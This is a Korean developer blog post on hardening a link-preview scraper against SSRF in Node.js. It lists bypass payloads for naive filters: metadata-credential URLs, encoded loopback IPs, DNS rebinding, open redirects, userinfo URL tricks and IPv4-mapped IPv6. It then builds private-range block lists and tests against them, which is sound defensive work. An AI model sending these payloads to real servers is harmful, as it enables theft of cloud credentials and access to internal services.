> 이 편의 코드는 전부 직접 돌려본 것이다. 검증 환경은 macOS(darwin 25.5.0), Node.js `v24.14.1`, undici `8.10.0`이다. 그리고 미리 밝혀두면, 글을 쓰면서 처음에 적었던 것 중 몇 개가 실제로 돌려보니 틀렸다. 그 대목은 본문에서 그때그때 표시했다.

## 무엇을 노리는가

가장 흔히 인용되는 AWS 환경의 시나리오를 따라가 보면 이렇게 진행된다.

공격자가 게시글에 링크를 하나 붙여넣는다.

```text
http://169.254.169.254/latest/meta-data/iam/security-credentials/
```

우리 서버가 미리보기 카드를 만들려고 그 URL을 열고, 응답에는 인스턴스에 붙은 IAM 역할 이름이 들어 있다. 공격자가 그 이름을 붙여 한 번 더 붙여넣는다.

```text
http://169.254.169.254/latest/meta-data/iam/security-credentials/og-scraper-role
```

이번 응답은 이렇게 생겼다.

```json
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "..."
}
```

이 크레덴셜이면 그 역할이 가진 권한 범위 안에서 S3나 DynamoDB에 직접 접근할 수 있다. 미리보기 카드에는 에러 메시지만 떴더라도, 응답 본문이 로그나 에러 리포팅 도구에 남는 순간 같은 결과가 된다.

`169.254.0.0/16` 대역은 link-local이다. 라우팅되지 않고 같은 링크 안에서만 유효한 성질 때문에, 클라우드 사업자들이 인스턴스 메타데이터 서비스를 여기에 올렸다.

| 사업자  | 주소              | 추가 조건                                |
| ------- | ----------------- | ---------------------------------------- |
| AWS     | `169.254.169.254` | IMDSv2면 PUT으로 토큰을 먼저 받아야 한다 |
| GCP     | `169.254.169.254` | `Metadata-Flavor: Google` 헤더 필요      |
| Azure   | `169.254.169.254` | `Metadata: true` 헤더 필요               |
| Alibaba | `100.100.100.200` |                                          |

여기서 "IMDSv2를 켜뒀으니 괜찮지 않나"라는 질문이 자주 나오는데, 절반만 그렇다고 보는 편이 안전하다. IMDSv2는 `PUT /latest/api/token`으로 토큰을 먼저 받아야 하고 스크래핑은 GET만 보내므로, 단순한 형태의 SSRF로는 뚫리지 않는 것이 맞다. 다만 IMDSv1이 아직 켜져 있는 인스턴스가 남아 있는 경우가 있고, SSRF가 메서드나 헤더까지 조작할 수 있는 형태라면 여전히 가능하며, 무엇보다 **메타데이터만 표적인 것이 아니다.** 내부 어드민 페이지, Redis, Elasticsearch, 쿠버네티스 API가 전부 같은 내부망에 있다.

IMDSv2 강제와 hop limit 1은 해두는 편이 좋지만, 그것을 방어의 전부로 두기는 어렵다.

## 화이트리스트는 어떻게 뚫리는가

이쯤에서 가장 흔한 답이 나온다. "허용 도메인 목록을 두고 그 안에서만 스크래핑하면 된다." 방향은 맞는데, 그것만으로는 뚫린다.

막는 법보다 뚫리는 법을 먼저 보는 순서가 중요하다. 방어 코드가 왜 그런 모양인지는 어떤 우회를 막으려는 것인지 알아야 이해되기 때문이다.

### 우회 1: IP 표기 변형

위험한 주소를 문자열로 걸러내는 검사부터 보자. 실제로 자주 보이는 모양이다.

```ts
if (rawUrl.includes('127.0.0.1') || rawUrl.includes('169.254.169.254')) {
  throw new Error('blocked')
}
```

아래 다섯 개는 이 검사를 전부 통과한다. 그리고 전부 `127.0.0.1`로 연결된다.

| 붙여넣는 URL              | 표기                    |
| ------------------------- | ----------------------- |
| `http://2130706433/`      | 32비트 십진수           |
| `http://0x7f000001/`      | 16진수                  |
| `http://0177.0.0.01/`     | 8진수                   |
| `http://127.1/`           | 축약형 (중간 옥텟 생략) |
| `http://127.000.000.001/` | 0 패딩                  |

문자열 `127.0.0.1`은 어디에도 없는데 커널은 전부 같은 곳으로 연결한다. 이게 이 우회의 실체다.

다만 여섯 중에서는 가장 가벼운 편인데, `new URL()`로 파싱하는 것만으로 사라지기 때문이다. WHATWG URL 파서가 이 표기들을 파싱 단계에서 정규화한다.

```ts
new URL('http://2130706433/').hostname // '127.0.0.1'
new URL('http://0x7f000001/').hostname // '127.0.0.1'
new URL('http://0177.0.0.01/').hostname // '127.0.0.1'
new URL('http://127.1/').hostname // '127.0.0.1'
```

그래서 여기서 얻을 교훈은 "IP 표기법을 전부 외워 두라"가 아니라 **검증은 원본 문자열이 아니라 파싱한 값으로 한다**는 쪽이다. 이 우회를 맨 앞에 둔 이유이기도 한데, 남은 다섯은 파싱만으로는 막히지 않는다.

### 우회 2: DNS로 사설 IP 가리키기

그러면 파싱해서 얻은 `hostname`을 검사하면 되는가. 그것만으로는 안 된다.

도메인 이름은 아무 IP나 가리킬 수 있기 때문이다. 공격자가 자기 도메인의 A 레코드를 이렇게 두면 그만이다.

```text
evil.example.com.   IN  A   127.0.0.1
```

`evil.example.com`은 `hostname`을 아무리 뜯어봐도 정상적인 공인 도메인이다. 그런데 연결되는 곳은 로컬이다. 도메인을 살 필요조차 없는데, `127.0.0.1.nip.io`나 `10.0.0.1.nip.io`처럼 이름에 적힌 IP를 그대로 돌려주는 공개 서비스가 있다.

**이름은 목적지를 알려주지 않는다.** 봐야 하는 건 그 이름이 해석된 IP다.

### 우회 3: DNS rebinding

그러면 이름 대신 해석된 IP를 검사하면 되는가. 그것도 뚫린다. 여섯 중 가장 교묘하고, 가장 많이 놓친다.

방어 코드가 보통 이런 모양으로 쓰인다.

```ts
const ip = await dns.resolve(url.hostname) // ① 검사용 조회
if (isPrivate(ip)) throw new Error('blocked')

await fetch(url) // ② 실제 요청. 여기서 또 조회한다
```

①과 ②는 **각각 DNS를 조회한다.** 그 사이에 응답이 바뀌면 검사와 사용이 어긋난다. 이 틈을 TOCTOU(Time-Of-Check to Time-Of-Use, 검사 시점과 사용 시점의 불일치)라고 부른다.

공격자는 TTL을 0으로 둔 도메인을 준비한다.

```mermaid
sequenceDiagram
    participant S as 우리 서버
    participant D as 공격자가 가진 DNS
    participant M as 메타데이터 서비스

    Note over S,D: t=0ms 검사용 조회
    S->>D: evil.com 의 주소를 묻는다
    D-->>S: 93.184.216.34 이라 공인 IP 로 통과한다
    Note over S: t=1ms 검사 통과
    Note over S,D: t=2ms 실제 요청 직전 재조회
    S->>D: evil.com 의 주소를 다시 묻는다
    D-->>S: 169.254.169.254 지만 검사는 이미 끝났다
    S->>M: t=3ms 요청이 그대로 나간다
```

공격자가 이걸 할 수 있는 이유는 자기 도메인의 DNS 서버를 자기가 들고 있기 때문이다. TTL이 0이면 캐시되지 않으므로 두 번의 조회가 다른 답을 받는 것은 표준대로 보면 정상 동작이고, 그래서 이 공격은 규칙을 어기지 않고도 성립한다.

결국 검사한 것과 실제로 쓰는 것이 같아야 한다. 이름을 검사하는 대신 **주소를 검사한 뒤 그 주소를 그대로 써야 한다.**

### 우회 4: 리다이렉트

여기까지를 전부 지켰다고 하자. 파싱했고, 해석된 IP를 검사했고, 그 IP로 직접 연결했다. 그런데 검사한 것은 **첫 번째 요청 하나뿐**이다.

허용 목록에 `example.com`이 있다고 하고, 공격자가 이걸 붙여넣는다.

```text
https://example.com/redirect?to=http://169.254.169.254/
```

첫 요청의 호스트는 `example.com`이라 앞의 검사를 전부 통과한다. 그리고 서버가 `302 Location: http://169.254.169.254/`를 응답하면 HTTP 클라이언트가 자동으로 따라가는데, 이때는 아무도 검사하지 않는다.

공격자가 자기 도메인을 화이트리스트에 넣게 만들 필요도 없다는 점이 고약하다. 이미 허용된 사이트 중 open redirect가 있는 곳 아무 데나 하나면 되고, open redirect는 흔한 편이다.

그래서 리다이렉트 자동 추적을 끄고 **홉마다 처음부터 다시** 검사해야 한다.

### 우회 5: 검증한 값과 요청하는 값이 다를 때

앞의 넷은 무엇을 검사할 것인가의 문제였다. 이건 결이 조금 다른데, 제대로 검사하고도 검사한 것과 다른 것을 요청에 넘기는 경우다.

전형적인 모양은 이렇다. 화이트리스트를 문자열로 확인하고, 원본 문자열을 그대로 클라이언트에 넘긴다.

```ts
if (!rawUrl.includes('allowed.com')) throw new Error('blocked')

await request(rawUrl) // 이 요청은 어디로 가는가
```

네 가지 입력을 넣고 실제로 확인해 보면 이렇게 갈린다.

| 입력                              | 문자열에 `allowed.com`이 | 실제 호스트   |
| --------------------------------- | ------------------------ | ------------- |
| `http://allowed.com@evil.com/`    | 있다                     | `evil.com`    |
| `http://evil.com#@allowed.com/`   | 있다                     | `evil.com`    |
| `http://allowed.com%2f@evil.com/` | 있다                     | `evil.com`    |
| `http://allowed.com\@evil.com/`   | 있다                     | `allowed.com` |

첫 줄이 URL의 `user@host` 문법이다. `allowed.com`이 호스트가 아니라 사용자 이름 자리에 들어가 있고 실제 호스트는 `evil.com`이다. 두 번째는 `#` 뒤가 프래그먼트라 목적지와 무관하고, 세 번째는 `%2f`까지 포함해 사용자 이름으로 들어간다. 문자열 검사는 넷 다 통과시키지만 실제 목적지는 셋이 `evil.com`이다.

마지막 줄은 방향이 반대라 더 눈여겨볼 만하다. 백슬래시가 들어가면 WHATWG 파서는 그것을 경로 구분자로 보고 호스트를 `allowed.com`으로 준다. 같은 문자열을 두고 파서마다 답이 갈릴 수 있다는 뜻이고, 검증에 쓰는 파서와 요청에 쓰는 파서가 다르면 그 차이가 그대로 구멍이 된다.

규칙은 하나다. **파싱은 한 번만 하고, 파싱한 그 객체를 그대로 요청에 넘긴다.**

### 우회 6: IPv6

마지막은 잊어버려서 생기는 구멍이다. IPv4 사설 대역만 검사하는 코드는 아래를 전부 통과시킨다.

| 주소               | 의미                                |
| ------------------ | ----------------------------------- |
| `::1`              | 루프백                              |
| `::ffff:127.0.0.1` | IPv4-mapped. 실제로는 127.0.0.1이다 |
| `::ffff:a9fe:a9fe` | `169.254.169.254`의 16진 표기       |
| `fe80::/10`        | link-local                          |
| `fc00::/7`         | ULA (사설 대역에 해당)              |
| `64:ff9b::/96`     | NAT64 (IPv4로 변환된다)             |

특히 IPv4-mapped가 까다롭다. 겉모습은 IPv6인데 커널은 IPv4로 연결한다. 게다가 표기가 하나가 아니어서, 점 표기로 적어 넣어도 파서는 16진 표기로 돌려준다.

```ts
new URL('http://[::ffff:169.254.169.254]/').hostname // '[::ffff:a9fe:a9fe]'
```

`a9fe:a9fe`가 `169.254.169.254`를 16진수로 쓴 것이기 때문이다(`0xa9 = 169`, `0xfe = 254`). 그러니 `::ffff:169.254.169.254`라는 문자열을 막아둔 코드는 이 주소를 그냥 놓친다. 우회 1과 같은 이야기가 IPv6에서 한 번 더 반복되는 셈이다.

그리고 위 출력에서 하나가 더 보인다. `hostname`에 **대괄호가 그대로 남아 있다.** 이걸 주소로 착각하고 그대로 검사에 넘기면 어떻게 되는지는 뒤에서 다시 본다.

## 방어 원리 다섯

여섯 가지 우회를 관통하는 원리는 다섯 개다. 각각이 앞의 무엇을 닫는지 같이 적어 둔다.

- **이름이 아니라 주소를 검증한다.** 표기 변형(우회 1), DNS로 사설 IP 가리키기(우회 2), IPv6(우회 6)가 여기서 걸린다
- **검증한 그 주소로 직접 연결한다.** rebinding(우회 3)을 막는 지점은 여기 하나뿐이다
- **리다이렉트는 홉마다 앞의 둘을 처음부터 다시 한다** (우회 4)
- **한 번 파싱한 객체만 쓴다** (우회 5)
- 그리고 마지막으로, **위의 넷을 전부 믿지 않는다**

하나씩 코드로 옮겨 본다.

### 원리 1: 주소를 검증한다

Node에는 `net.BlockList`가 내장되어 있어서 직접 비트 연산을 할 필요가 없다.

```ts
import {BlockList, isIP, isIPv4} from 'node:net'

const blocked = new BlockList()

blocked.addSubnet('0.0.0.0', 8, 'ipv4') // this network
blocked.addSubnet('10.0.0.0', 8, 'ipv4') // RFC1918
blocked.addSubnet('100.64.0.0', 10, 'ipv4') // CGNAT
blocked.addSubnet('127.0.0.0', 8, 'ipv4') // loopback
blocked.addSubnet('169.254.0.0', 16, 'ipv4') // link-local (메타데이터)
blocked.addSubnet('172.16.0.0', 12, 'ipv4') // RFC1918
blocked.addSubnet('192.168.0.0', 16, 'ipv4') // RFC1918
blocked.addSubnet('192.0.0.0', 24, 'ipv4') // IETF 프로토콜 할당 (DS-Lite 등)
blocked.addSubnet('198.18.0.0', 15, 'ipv4') // 벤치마크
blocked.addSubnet('224.0.0.0', 4, 'ipv4') // 멀티캐스트
blocked.addSubnet('240.0.0.0', 4, 'ipv4') // reserved
```

IPv6도 같이 막는다.

```ts
blocked.addAddress('::', 'ipv6') // unspecified
blocked.addAddress('::1', 'ipv6') // loopback
blocked.addSubnet('64:ff9b::', 96, 'ipv6') // NAT64 (RFC 6052)
blocked.addSubnet('64:ff9b:1::', 48, 'ipv6') // NAT64 local-use (RFC 8215)
blocked.addSubnet('100::', 64, 'ipv6') // discard
blocked.addSubnet('fc00::', 7, 'ipv6') // ULA
blocked.addSubnet('fe80::', 10, 'ipv6') // link-local
blocked.addSubnet('fec0::', 10, 'ipv6') // site-local (deprecated, 구형 스택 대비)
blocked.addSubnet('ff00::', 8, 'ipv6') // 멀티캐스트
```

이 목록이 막아야 할 IPv6 대역의 전부는 아니다. IPv4 주소를 IPv6 안에 품는 방식이 여럿 있어서(위의 NAT64가 그런 예다), IPv6를 실제로 쓰는 환경이라면 [IANA IPv6 Special-Purpose Address Registry](https://www.iana.org/assignments/iana-ipv6-special-registry/iana-ipv6-special-registry.xhtml)를 한 번 훑어 빠진 것을 채우는 편이 안전하다.

검사 함수 자체는 짧다.

```ts
export function isPublicAddress(ip: string): boolean {
  if (isIP(ip) === 0) return false // IP 형식이 아니면 일단 막는다
  return !blocked.check(ip, isIPv4(ip) ? 'ipv4' : 'ipv6')
}
```

첫 줄이 왜 필요한지가 중요하다. `blocked.check()`는 IP가 아닌 문자열을 받으면 예외를 던지는 게 아니라 조용히 "막지 않음"으로 답한다. 직접 확인해 보면 이렇다.

```text
"localhost"    check => false   (막지 않음)
""             check => false
"999.1.1.1"    check => false
"127.0.0.1 "   check => false   (뒤에 공백이 붙었다)
```

그래서 IP 형식이 아닌 값은 함수 앞에서 잘라내고, 애매하면 막는 쪽(fail-closed)으로 기울여 둔다.

여기까지 쓰고 나면 손이 근질거리는 지점이 하나 생긴다. 앞에서 IPv4-mapped 이야기를 읽었으니 `::ffff:`를 직접 벗겨서 검사하고 싶어진다.

```ts
// 이 코드는 취약하다
const addr = ip.startsWith('::ffff:') ? ip.slice(7) : ip
return !blocked.check(addr, isIPv4(addr) ? 'ipv4' : 'ipv6')
```

돌려본 결과가 이렇다.

| 입력                     | `slice(7)` 결과   | 판정     |
| ------------------------ | ----------------- | -------- |
| `::ffff:169.254.169.254` | `169.254.169.254` | 차단     |
| `::ffff:a9fe:a9fe`       | `a9fe:a9fe`       | **통과** |
| `::ffff:7f00:1`          | `7f00:1`          | **통과** |

16진 표기에서 접두사를 벗기면 IPv4도 IPv6도 아닌 문자열이 남고, `BlockList.check()`는 그런 입력에 예외 대신 `false`를 돌려준다. 바로 위에서 본 그 성질이 여기서 구멍이 된다.

같은 값을 벗기지 않고 그대로 넣으면 이렇게 나온다.

| 입력                         | 결과 |
| ---------------------------- | ---- |
| `::ffff:169.254.169.254`     | 차단 |
| `::ffff:a9fe:a9fe`           | 차단 |
| `::ffff:7f00:1`              | 차단 |
| `64:ff9b::a9fe:a9fe` (NAT64) | 차단 |

`BlockList`는 `::ffff:` 형태를 알아서 IPv4로 보고 검사한다. 점 표기든 16진 표기든 가리지 않는다.

다만 마지막 줄에는 조건이 붙는다. `64:ff9b::` 형태(NAT64)는 자동으로 풀어주지 않는다. 위에서 막힌 것은 앞의 코드에 `64:ff9b::/96` 한 줄을 직접 넣어뒀기 때문이고, 그 줄을 빼고 확인하면 결과가 갈린다.

```text
64:ff9b::a9fe:a9fe -> 통과 (취약)
::ffff:a9fe:a9fe   -> 차단
```

정리하면 `::ffff:`만 자동이고, 나머지 "IPv4를 안에 품은 IPv6"는 대역마다 직접 막아야 한다. 그리고 여기서 두 가지를 얻는다. 주소 정규화는 직접 하지 않고 런타임이 제공하는 것을 쓰는 편이 낫다는 것, 그리고 보안 코드는 반드시 우회 케이스로 테스트해야 한다는 것이다. 사실 위의 두 표가 그대로 테스트 케이스다.

보안 코드는 "잘 동작한다"보다 "이것들을 막는다"로 표현하는 편이 정확하다고 생각한다.

```ts
describe('isPublicAddress', () => {
  const blockedCases = [
    '127.0.0.1',
    '169.254.169.254',
    '10.1.2.3',
    '172.16.0.1',
    '192.168.1.1',
    '100.64.0.1',
    '0.0.0.0',
    '::1',
    '::',
    'fe80::1',
    'fd00::1',
    'ff02::1',
    '::ffff:127.0.0.1',
    '::ffff:169.254.169.254',
    '::ffff:a9fe:a9fe',
    '::ffff:7f00:1', // 16진 표기
    '64:ff9b::a9fe:a9fe', // NAT64
    'localhost', // IP가 아닌 값
    '', // 빈 문자열
    '999.1.1.1', // IP처럼 보이지만 유효하지 않다
    '127.0.0.1 ', // 뒤에 공백
  ]
  const allowedCases = [
    '93.184.216.34',
    '1.1.1.1',
    '2606:4700::1',
    '172.32.0.1',
    '100.128.0.1',
    '11.0.0.0', // 경계 바로 바깥
  ]

  it.each(blockedCases)('%s 를 차단한다', (ip) =>
    expect(isPublicAddress(ip)).toBe(false),
  )
  it.each(allowedCases)('%s 를 허용한다', (ip) =>
    expect(isPublicAddress(ip)).toBe(true),
  )
})
```

허용 케이스에 경계 바로 바깥(`172.32.0.1`)을 넣은 이유는, 과차단도 버그이기 때문이다. 멀쩡한 사이트의 미리보기가 안 나오는 것도 장애다.

### 원리 2: 검증한 주소로 직접 연결한다

여기가 rebinding을 막는 자리이고, 1편에서 미리 말한 `lookup` 훅을 쓰는 자리이기도 하다.

```ts
import {Agent} from 'undici'
import {lookup as dnsLookup} from 'node:dns'

export const scrapeAgent = new Agent({
  connect: {
    lookup(hostname, options, callback) {
      dnsLookup(hostname, {all: true}, (err, addresses) => {
        if (err) return callback(err, '', 0)

        // 하나라도 사설이면 전부 거부한다.
        // 공격자는 A 레코드를 여러 개 줄 수 있다.
        if (!addresses.every((a) => isPublicAddress(a.address))) {
          return callback(new Error('BLOCKED_PRIVATE_ADDRESS'), '', 0)
        }

        if (options.all) return callback(null, addresses)
        callback(null, addresses[0].address, addresses[0].family)
      })
    },
  },
})
```

마지막 두 줄은 처음에 없던 것이다. 원래는 주소 하나만 골라 돌려주도록 썼는데, 돌려보니 첫 요청부터 죽었다.

```text
single   -> throw TypeError: Invalid IP address: undefined   (options.all = [true])
array    -> status 200                                        (options.all = [true])
```

undici는 이 콜백을 `{ all: true }`로 호출하고 주소 배열을 기대한다. `{ all: true }` 결과를 그대로 넘기면 되고, 주소 하나만 넘기면 위 에러가 난다. 문서를 읽고 짐작으로 쓴 코드와 돌려본 코드의 차이가 이런 자리에서 나온다.

이 훅이 rebinding을 막는 이유는 조회와 연결 사이에 틈이 없어지기 때문이다.

```mermaid
flowchart TB
    subgraph old["기존 방식"]
        direction TB
        O1["DNS 조회"] --> O2["검사"] --> O3["fetch 호출"]
        O3 --> O4["내부에서 DNS를 다시 조회한다<br/>여기서 다른 답이 올 수 있다"]
    end

    subgraph hook["lookup 훅 방식"]
        direction TB
        H1["DNS 조회"] --> H2["검사"] --> H3["검사한 그 주소로 소켓 연결<br/>재조회가 없다"]
    end
```

검사 시점과 사용 시점 사이에 DNS 조회가 한 번도 없으니 TOCTOU 창이 닫힌다. 이때도 요청에 실리는 호스트 이름(`Host` 헤더와 인증서 검증용 이름)은 원래대로 유지되므로, 한 IP에 여러 사이트가 얹힌 경우나 인증서 검증은 정상 동작한다. 그리고 이 검사는 새 연결을 열 때만 도는데, 재사용하는 연결(keep-alive)의 상대는 조금 전 검사를 통과한 그 주소라 문제되지 않는다.

`every`를 쓴 것도 의도가 있다. 공격자는 A 레코드를 이렇게 줄 수 있다.

```text
evil.com.  IN  A  93.184.216.34    ← 공인
evil.com.  IN  A  169.254.169.254  ← 사설
```

`find(isPublic)`으로 공인 주소 하나만 골라 쓰면 당장은 안전해 보인다. 그런데 정상적인 도메인이 사설 IP를 섞어 반환할 이유가 별로 없어서, 그런 응답 자체를 공격 신호로 보는 편이 자연스럽다. 전부 거부하면 의도가 정확히 드러나고, 조회 순서나 캐시 상태에 따라 결과가 흔들리는 일도 없어진다.

### 훅이 호출되지 않는 경로가 있다

여기까지 쓰고 나면 `lookup` 훅이 관문 역할을 다 해주는 것처럼 보인다. 그래서 한 가지를 더 확인해 봤다. **무엇이든 무조건 거부하는** 훅을 붙여놓고 요청을 보내면, 정말 전부 막히는가.

```ts
const paranoid = new Agent({
  connect: {
    lookup(hostname, options, callback) {
      callback(new Error('BLOCKED_BY_HOOK'), '', 0) // 예외 없이 전부 거부
    },
  },
})
```

결과는 이랬다.

```text
http://localhost:9004/   → 차단됨                 | lookup 호출 1회
http://127.0.0.1:9004/   → status 200 INTERNAL    | lookup 호출 0회
http://[::1]:9005/       → status 200 INTERNAL    | lookup 호출 0회
```

**호스트가 이미 IP 리터럴이면 `lookup` 훅은 아예 호출되지 않는다.** 동작 자체는 당연하다. 이름이 아니니 이름을 풀 일이 없고, 소켓은 그 주소로 바로 연결하면 된다. 다만 그 결과로, 이 편에서 SSRF 방어의 핵심으로 세워둔 장치를 `http://169.254.169.254/`가 그냥 지나간다.

그러면 URL 검증 쪽에서 IP 리터럴을 잡아야 하는데, 여기 한 겹이 더 있다. `URL.hostname`은 **IPv6 리터럴의 대괄호를 남긴다.**

```text
http://127.0.0.1/               hostname = "127.0.0.1"                isIP = 4
http://[::1]/                   hostname = "[::1]"                    isIP = 0
http://[::ffff:a9fe:a9fe]/      hostname = "[::ffff:a9fe:a9fe]"       isIP = 0
```

그래서 이렇게 쓴 가드는 IPv6 리터럴을 통과시킨다.

```ts
// IPv6 리터럴을 놓친다
const h = url.hostname
if (isIP(h) !== 0 && !isPublicAddress(h)) throw new BlockedError('BLOCKED')
```

`isIP('[::1]')`이 0이라 조건이 거짓이 되어 검사를 건너뛰고, 그다음엔 `lookup` 훅도 호출되지 않는다. 두 개가 겹쳐서 구멍이 된다.

고치려면 대괄호를 벗기고 나서 판정한다.

```ts
function hostnameAsIp(hostname: string): string | null {
  const bare =
    hostname.startsWith('[') && hostname.endsWith(']')
      ? hostname.slice(1, -1)
      : hostname
  return isIP(bare) === 0 ? null : bare
}

function assertHostAllowed(url: URL) {
  const ip = hostnameAsIp(url.hostname)
  if (ip !== null) {
    // 호스트가 IP 리터럴이면 lookup 훅이 돌지 않으므로 여기서 판정한다
    if (!isPublicAddress(ip)) throw new BlockedError('BLOCKED_LITERAL_ADDRESS')
    return
  }
  // 이름이면 lookup 훅이 해석된 주소를 검사한다
}
```

두 가드를 나란히 돌려본 결과다.

| 입력                         | 순진한 가드 | 고친 가드 |
| ---------------------------- | ----------- | --------- |
| `http://169.254.169.254/`    | 차단        | 차단      |
| `http://2130706433/`         | 차단        | 차단      |
| `http://0x7f000001/`         | 차단        | 차단      |
| `http://[::1]/`              | **통과**    | 차단      |
| `http://[::ffff:a9fe:a9fe]/` | **통과**    | 차단      |
| `http://[::ffff:7f00:1]/`    | **통과**    | 차단      |
| `http://[fd00::1]/`          | **통과**    | 차단      |
| `http://example.com/`        | 통과        | 통과      |
| `http://93.184.216.34/`      | 통과        | 통과      |
| `http://[2606:4700::1]/`     | 통과        | 통과      |

공인 IPv6(`2606:4700::1`)는 그대로 통과하므로 과차단도 아니다.

여기서 조금 헷갈리는 대목이 생긴다. 바로 앞 절에서는 `::ffff:` 접두사를 손으로 벗기지 말라고 했는데, 이 절에서는 대괄호를 손으로 벗겨야 한다. 모순처럼 보이지만 다루는 대상이 다르다. 앞의 것은 **주소 체계의 의미**를 손으로 해석하려던 시도라서 `BlockList`에 맡기는 게 맞고, 뒤의 것은 URL 문법이 씌운 **표기상의 껍데기**를 벗겨 원래 주소 문자열로 되돌리는 일이다. 판단은 여전히 `isIP`와 `BlockList`가 한다.

그리고 앞의 도메인 화이트리스트가 있는 구성이라면 IP 리터럴은 이름 매칭에서 이미 걸린다. 문제는 화이트리스트 없이 임의의 URL을 열어주는 구성인데, 링크 미리보기의 실제 제품 요구사항이 대체로 그쪽이다.

### 원리 3: 리다이렉트를 직접 따라간다

```ts
const MAX_HOPS = 3

async function fetchGuarded(startUrl: URL) {
  let url = startUrl

  // 리다이렉트 체인 전체에 거는 데드라인. 홉이 몇 번이든 이 시간은 넘기지 않는다.
  const overall = AbortSignal.timeout(8_000)

  for (let hop = 0; hop <= MAX_HOPS; hop++) {
    assertAllowedUrl(url) // 스킴, 포트, 자격증명, 호스트

    const res = await request(url, {
      dispatcher: scrapeAgent, // redirect 인터셉터를 붙이지 않는다
      // 홉 하나당 5초, 체인 전체 8초. 둘 중 먼저 걸리는 쪽에서 끊긴다
      signal: AbortSignal.any([overall, AbortSignal.timeout(5_000)]),
    })

    if (res.statusCode < 300 || res.statusCode >= 400) return res

    const location = res.headers.location
    if (!location) return res

    await res.body.dump() // 소켓을 반드시 비운다
    url = new URL(location, url) // 상대 경로도 처리된다
  }

  throw new Error('TOO_MANY_REDIRECTS')
}
```

이 코드에서 두 줄이 눈에 잘 안 들어오는데 둘 다 필요하다. `await res.body.dump()`는 본문을 버리고 소켓을 정리한다. 본문을 읽지 않고 넘어가면 소켓이 커넥션 풀에 반납되지 않아서, 리다이렉트가 잦으면 커넥션이 고갈된다. `new URL(location, url)`은 `Location`이 상대 경로(`/login`, `../other`)일 때를 표준대로 해석하고, 이렇게 만든 객체가 다음 루프에서 다시 검사받는다.

그런데 실제로 위험한 쪽은 이 코드가 아니라 그냥 `fetch()`를 쓰는 쪽이다. 같은 로컬 서버로 확인해 보면 이렇다.

| 호출                                 | 302 응답 처리                     |
| ------------------------------------ | --------------------------------- |
| `undici.request(url)`                | 302를 그대로 반환                 |
| `fetch(url)`                         | **따라가서 내부 본문을 가져왔다** |
| `fetch(url, { redirect: 'manual' })` | 302를 그대로 반환                 |

`undici.request()`는 기본적으로 리다이렉트를 따라가지 않는다. 따라가게 하려면 인터셉터를 명시적으로 붙여야 한다. 반면 전역 `fetch()`는 기본이 `redirect: 'follow'`라, 아무 생각 없이 쓰면 open redirect를 그대로 따라간다.

그리고 여기서 처음에 적었다가 틀린 것이 하나 더 있다. 옛 문서를 따라 `maxRedirections: 0`으로 끄면 된다고 썼는데, undici 8에서 확인해 보니 이렇다.

```text
maxRedirections: 0 -> status 302
maxRedirections: 3 -> throw InvalidArgumentError: maxRedirections is not supported, use the redirect interceptor
```

0만 허용되고 그 외의 값은 예외다. 따라가려면 인터셉터를 조립해야 한다.

```ts
const redir = new Agent().compose(interceptors.redirect({maxRedirections: 3}))
```

어차피 기본값이 추적하지 않는 쪽이므로, 실질적인 방어는 **`fetch()`를 쓰지 않는 것**에 가깝다.

### 원리 4: 스킴과 포트도 잠근다

`assertAllowedUrl`이 실제로 하는 일은 이렇다.

```ts
const ALLOWED_PROTOCOLS = new Set(['http:', 'https:'])
const ALLOWED_PORTS = new Set(['', '80', '443'])

function assertAllowedUrl(url: URL) {
  if (!ALLOWED_PROTOCOLS.has(url.protocol)) {
    throw new BlockedError('SCHEME_NOT_ALLOWED')
  }
  if (!ALLOWED_PORTS.has(url.port)) {
    throw new BlockedError('PORT_NOT_ALLOWED')
  }
  if (url.username || url.password) {
    throw new BlockedError('CREDENTIALS_IN_URL') // user@host 우회 차단
  }
  assertHostAllowed(url) // IP 리터럴 판정 + 도메인 정책
}
```

스킴을 막는 이유는 `http`와 `https`가 아닌 스킴이 전혀 다른 공격면을 열기 때문이다. `file://`은 `/etc/passwd`나 애플리케이션 시크릿 파일로 가고, `gopher://`는 임의의 TCP 페이로드를 보낼 수 있어 Redis나 SMTP 명령 주입에 쓰인다. `dict://`는 내부 서비스의 배너를 수집하고, `data:`는 파서 혼동을 유발한다. `undici`가 `http`와 `https`만 지원하므로 상당 부분은 자동으로 막히지만, 명시적으로 거부해 두면 나중에 클라이언트를 교체해도 방어가 남는다.

포트를 막는 이유는 80과 443 외의 포트가 대개 내부 서비스이기 때문이다. 6379(Redis), 9200(Elasticsearch), 5432(PostgreSQL), 27017(MongoDB), 8080(내부 어드민), 2375(Docker daemon) 같은 것들이다. IP 대역을 막았다면 상당 부분 겹치지만, DNS가 공인 IP를 가리키면서 그 뒤에 프록시가 있는 경우처럼 한 겹이 더 필요한 상황이 있다.

도메인 화이트리스트를 쓴다면 매칭에서 실수가 나기 쉽다.

```ts
const ALLOWED_HOSTS = new Set(['example.com'])

function isAllowedHost(hostname: string): boolean {
  if (ALLOWED_HOSTS.has(hostname)) return true // 정확히 일치
  // 서브도메인을 허용한다면 반드시 "." 경계를 붙인다
  return [...ALLOWED_HOSTS].some((d) => hostname.endsWith('.' + d))
}
```

가장 흔한 실수는 `.` 없이 `endsWith('example.com')`으로 검사하는 것이다. 그러면 `notexample.com`이나 `evil-example.com`이 통과하고, 공격자가 그런 도메인 하나만 사면 된다. 서브도메인을 허용한다면 아무도 관리하지 않는 서브도메인을 공격자가 가로채는 경우(subdomain takeover)와, `exаmple.com`처럼 눈으로는 같아 보이지만 다른 글자(키릴 문자 `а`)를 쓴 도메인도 같이 생각해야 한다.

### 원리 5: 애플리케이션 방어를 믿지 않는다

지금까지 쓴 코드는 전부 애플리케이션 계층에 있다. 라이브러리를 교체하면 사라지고, 다른 개발자가 `fetch()`를 직접 쓰면 우회되며, 우리가 모르는 우회 기법이 내일 나올 수도 있다. 방금 본 IP 리터럴 구멍이 그 예시이기도 하다.

그래서 네트워크 계층에서 한 번 더 막는 구성이 필요하다.

| 계층             | 통제                                                |
| ---------------- | --------------------------------------------------- |
| 인스턴스         | IMDSv2 강제, hop limit 1                            |
| 보안 그룹 / NACL | 아웃바운드에서 내부 대역 차단                       |
| Egress 프록시    | 모든 외부 요청을 한 지점으로 강제하고 거기서 필터링 |
| VPC 설계         | 스크래핑 워크로드를 별도 서브넷으로 격리            |

전체를 그림으로 놓으면 이렇게 겹친다.

```mermaid
flowchart TB
    U["사용자 URL"]

    subgraph app["애플리케이션 코드"]
        direction TB
